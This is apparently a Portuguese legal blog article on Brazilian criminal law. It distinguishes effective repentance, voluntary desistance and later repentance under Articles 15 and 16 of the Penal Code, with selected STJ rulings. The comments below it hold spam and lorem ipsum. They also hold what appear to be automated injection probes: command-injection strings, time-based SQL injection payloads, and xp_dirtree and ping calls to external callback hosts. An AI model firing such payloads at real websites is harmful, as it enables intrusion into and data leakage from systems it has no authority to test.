Introdução
Neste artigo, abordamos as diferenças entre as excludentes do arrependimento eficaz, da desistência voluntária e do arrependimento posterior.
O artigo 15, do Código Penal, abrange os casos de tentativa abandonada, que são o arrependimento eficaz e a desistência voluntária.
Por uma questão de política criminal, o legislador estimula o agente a não consumar o delito, conferindo-lhe uma causa de exclusão de tipicidade.
Na expressão de Liszt, o agente possui uma ponte de ouro para retroceder, evitando que o resultado se produza.
Já o arrependimento posterior está previsto no artigo 16, do Código Penal, sendo uma causa de diminuição de pena.
O que é arrependimento eficaz?
O arrependimento eficaz acontece a partir do arrependimento do agente sobre os atos executórios, que ele mesmo cometeu. Os seus atos de arrependimento devem ser capazes de evitar o resultado.
Trata-se de uma tentativa perfeita (acabada). Quer-se que o autor impeça voluntariamente a consumação do fato. Por exemplo, evitar a morte da vítima após uma tentativa perfeita.
Segundo Silva Franco, no arrependimento eficaz não há mais margem alguma para ação, porque o processo de execução se encerrou. O agente atua para evitar o resultado. A ponte de ouro se situa entre a execução e a consumação.
Ele está previsto no artigo 15, do Código Penal: “O agente que, voluntariamente, desiste de prosseguir na execução ou impede que o resultado se produza, só responde pelos atos já praticados.”
Para que haja arrependimento eficaz, o agente deve ser capaz de impedir que o resultado se produza. Se isso ocorrer, ele só responderá pelos atos já praticados. Ele funciona, assim, como cláusula de exclusão da tipicidade. A tentativa não é típica.
O que é arrependimento ineficaz?
No arrependimento ineficaz, o agente tenta evitar a consumação do crime, mas não consegue por circunstâncias alheias à sua vontade. O crime é consumado. Nesse caso, não há exclusão da tipicidade, pois os atos do arrependimento não foram capazez de impedir o resultado.
O que é desistência voluntária?
A desistência voluntária é uma cláusula de exclusão da tipicidade, que também está prevista no artigo 15, do Código Penal: O agente que, voluntariamente, desiste de prosseguir na execução, só responde pelos atos já praticados.
Qual a diferença entre desistência voluntária e crime tentado?
Deve-se diferenciar a desistência voluntária da tentativa de prática de crime. No crime tentado, a consumação não ocorre por um fato alheio à vontade do agente. Por exemplo, ele erra o tiro e não consegue matar a vítima.
Na desistência voluntária, por sua vez, o agente desiste voluntariamente de prosseguir na execução. Ele tem as condições para prosseguir no caminho do crime, mas ele desiste. No crime tentado, o agente quer praticar o ato criminoso, mas não consegue por circunstâncias alheias à sua vontade.
Na desistência, o agente só responderá pelos atos praticados, caso sejam crimes ou contravenções penais.
No crime tentado, aplica-se o artigo 14, parágrafo único, do Código Penal: “Salvo disposição em contrário, pune-se a tentativa com a pena correspondente ao crime consumado, diminuída de um a dois terços”.
A tentativa funciona, portanto, como uma causa de diminuição de pena.
Há desistência voluntária no caso de desistência momentânea?
Na desistência momentânea, o agente desiste de continuar a executar o delito, porque entendeu que o momento era inoportuno. Ele pretende prosseguir posteriormente. Em outro dia, por exemplo.
Nesse caso, o pensamento majoritário é que há ponte de ouro, porque se trata de uma conduta voluntária. O agente desiste da consumação. apesar de não abandonar o intuito criminoso.
Deve-se diferenciar, entretanto, desistência momentânea de pausa na execução. Nessa última, o agente apenas pausa a execução, aguardando um momento mais oportuno para concluir o crime, havendo nítida proximidade temporal.
Por exemplo, o agente que pausa o arrombamento do cofre e se esconde, aguardando o vigia do museu ir para mais longe do local.
No caso da pausa, não existe ponte de ouro, então o agente responderá pela delito tentado.
Diferença entre arrependimento eficaz e desistência voluntária
A diferença está no esgotamento ou não dos atos executórios.
Na desistência voluntária, o agente desiste de prosseguir na execução. Por exemplo, o agente arromba o cofre de uma casa, mas desiste de levar os itens que lá estavam guardados.
No arrependimento eficaz, o agente finaliza os atos executários, mas toma as medidas necessárias para impedir o resultado. Por exemplo, o agente finaliza os atos para matar a vítima por envenenamento, mas arrepende-se e ministra o antídoto, antes que ela morra.
Tanto a desistência voluntária como o arrependimento eficaz devem ser voluntários, isto é, o agente evita o resultado por sua própria vontade, sem ser coagido, moral ou materialmente. Ele deve optar pela ponte de ouro livremente.
O que é arrependimento posterior?
O artigo 16, do Código Penal, prevê o arrependimento posterior:
Nos crimes cometidos sem violência ou grave ameaça à pessoa, reparado o dano ou restituída a coisa, até o recebimento da denúncia ou da queixa, por ato voluntário do agente, a pena será reduzida de um a dois terços.
É uma causa de diminuição de pena, que o juiz calculará na terceira fase da dosimetria da pena, quando o agente reparar o dano ou restituir a coisa, voluntariamente, até o recebimento da denúncia ou queixa.
O arrependimento posterior só é aplicável em crimes cometidos sem violência ou grave ameaça. A redução da pena é de um a dois terços.
Existem crimes em que a reparação do dano é causa de extinção de punibilidade. Daí não se aplicaria a regra do arrependimento posterior. Um exemplo é o crime de peculato culposo, de acordo com o artigo 312, §§2º e 3º do Código Penal:
No caso do parágrafo anterior, a reparação do dano, se precede à sentença irrecorrível, extingue a punibilidade; se lhe é posterior, reduz de metade a pena imposta.
Conclusão
Os institutos analisados têm como foco proteger o bem jurídico, evitando que a vítima sofra danos. Se na execução do delito, é possível oferecer ao agente uma ponte de ouro, para evitar a consumação do delito, é prudente que assim o faça. É uma boa medida de política criminal.
Gostaria de aprender mais sobre o direito e levar as suas habilidades jurídicas para outro nível?
Ou quer fazer outros cursos incríveis, com temas de criminologia, filosofia, psicologia e muito mais?
Explore os cursos do direito novo: aprenda com interação e inovação.
Combinamos o ensino moderno com recursos de gamificação e aulas cinemáticas.
Os nossos cursos proporcionam uma compreensão do sistema jurídico do princípio ao fim, para que você possa se destacar e fazer a diferença.
Jurisprudência Selecionada
1. “O instituto do arrependimento eficaz e da desistência voluntária somente são aplicáveis a delito que não tenha sido consumado” (AgRg no REsp 1549809/DF, Rel. Ministra MARIA THEREZA DE ASSIS MOURA, SEXTA TURMA, DJe 24/2/2016). Tal apontamento só serve para solucionar de vez a questão, uma vez que o Tribunal de origem, quando do julgamento dos embargos de declaração opostos, consignou que “em momento algum, entreviu-se qualquer tipo de arrependimento por parte de JOSÉ CARLOS, quiçá nos moldes exigidos pelo dispositivo em questão”. (STJ – AgRg nos EDcl nos EDcl no AREsp 1685253 / PE)
2. 1. Os institutos do arrependimento eficaz e da desistência voluntária somente são aplicáveis a delito que não tenha sido consumado (AgRg no REsp 1549809/DF, Rel. Ministra MARIA THEREZA DE ASSIS MOURA, SEXTA TURMA, julgado em 2/2/2016, DJe 24/2/2016).
1.1. No caso concreto, os jurados acolheram a tese de desistência voluntária, ensejando a desclassificação do delito de homicídio para o delito de lesão corporal seguida de morte. Contudo, a caracterização da desistência voluntária é manifestamente contrária à prova dos autos, pois o disparo realizado pelo autor matou a vítima. Cumpre ressaltar que a desistência voluntária do delito de homicídio pressupõe atuação inicial com o dolo de matar, enquanto o reconhecimento da lesão corporal seguida de morte não se coaduna com o animus necandi.
1.2. A revaloração jurídica de fatos incontroversos notadamente veiculados no acórdão proferido pelo Tribunal de origem, não configura o reexame fático-probatório, vedado pela Súmula n. 7 do STJ. (STJ – AgRg no AgRg no AREsp 1542424 / MG)
3. RECURSO ESPECIAL. CRIME DE ROUBO. CONSUMAÇÃO. TEORIA DA APPREHENSIO. RECURSO ESPECIAL REPETITIVO 1.499.050/RJ. SÚMULA N. 582. ARREPENDIMENTO POSTERIOR. IRRELEVÂNCIA.
1. O Tribunal de origem absolveu o réu, por reconhecer o arrependimento eficaz do agente, após a consumação do crime de roubo, com o emprego de grave ameaça.
2. A jurisprudência deste Sodalício se firmou no julgamento do Recurso Especial Repetitivo 1.499.050/RJ, pela Terceira Seção, no sentido que deve ser adotada a teoria da apprehensio ou amotio no que se refere à consumação do delito de roubo, que ocorre no momento em que o agente se torna possuidor da res furtiva, ainda que a posse não seja de forma mansa e pacífica, não sendo necessário que o objeto subtraído saia da esfera de vigilância da vítima.
3. Enunciado n.º 582 da Súmula deste Superior Tribunal de Justiça:
“Consuma-se o crime de roubo com a inversão da posse do bem mediante emprego de violência ou grave ameaça, ainda que por breve tempo e em seguida à perseguição imediata ao agente e recuperação da coisa roubada, sendo prescindível a posse mansa e pacífica ou desvigiada”.
4. Recurso Especial provido. (STJ – REsp 1704976 / SP)
Hi there!
Hi there!
;env
Hi there!
http://www.google.fr/?
.depdb
Hi there!
Hi there!
Hi there!
sleep(11)#1
” or pg_sleep(11)–1
‘ and pg_sleep(11)–1
“)) and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)
I was very pleased to uncover this web site. I want to to thank you for your time due to this fantastic read!! I definitely appreciated every bit of it and I have you bookmarked to look at new things on your website.
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
localhost&ping r-18703-431.bgle.0b.vc
EXEC master..xp_dirtree ‘\i-18703-601.bgle.0b.vc’ —